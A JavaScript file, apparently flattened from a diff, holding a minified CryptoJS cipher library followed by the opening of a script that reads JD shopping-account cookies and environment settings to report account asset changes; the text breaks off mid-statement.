v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); - -const $ = new Env('京东资产变动'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let allMessage = ''; -let allMessage2 = ''; -let allReceiveMessage = ''; -let allWarnMessage = ''; -let ReturnMessage = ''; -let ReturnMessageMonth = ''; -let allMessageMonth = ''; - -let MessageUserGp2 = ''; -let ReceiveMessageGp2 = ''; -let WarnMessageGp2 = ''; -let allMessageGp2 = ''; -let allMessage2Gp2 = ''; -let allMessageMonthGp2 = ''; -let IndexGp2 = 0; - -let MessageUserGp3 = ''; -let ReceiveMessageGp3 = ''; -let WarnMessageGp3 = ''; -let allMessageGp3 = ''; -let allMessage2Gp3 = ''; -let allMessageMonthGp3 = ''; -let IndexGp3 = 0; - -let MessageUserGp4 = ''; -let ReceiveMessageGp4 = ''; -let WarnMessageGp4 = ''; -let allMessageGp4 = ''; -let allMessageMonthGp4 = ''; -let allMessage2Gp4 = ''; -let IndexGp4 = 0; - -let notifySkipList = ""; -let IndexAll = 0; -let EnableMonth = "false"; -let isSignError = false; -let ReturnMessageTitle=""; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let intPerSent = 0; -let i = 0; -let DisableCash = "false"; -let llShowMonth = false; -let Today = new Date(); -let RemainMessage = '\n'; -RemainMessage += "⭕提醒:⭕" + '\n'; -RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; -RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; -RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; -RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; -RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; -RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; -RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; -RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; - -let WP_APP_TOKEN_ONE = ""; -let TempBaipiao = ""; -if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { - WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; -} -if ($.isNode() && process.env.BEANCHANGE_PERSENT) { - intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); - console.log(`检测到设定了分段通知:` + intPerSent); -} - -if ($.isNode() && process.env.BEANCHANGE_USERGP2) { - MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; - intPerSent = 0; //分组推送,禁用账户拆分 - console.log(`检测到设定了分组推送2,将禁用分段通知`); -} - -if ($.isNode() && process.env.BEANCHANGE_USERGP3) { - MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; - intPerSent = 0; //分组推送,禁用账户拆分 - console.log(`检测到设定了分组推送3,将禁用分段通知`); -} - -if ($.isNode() && 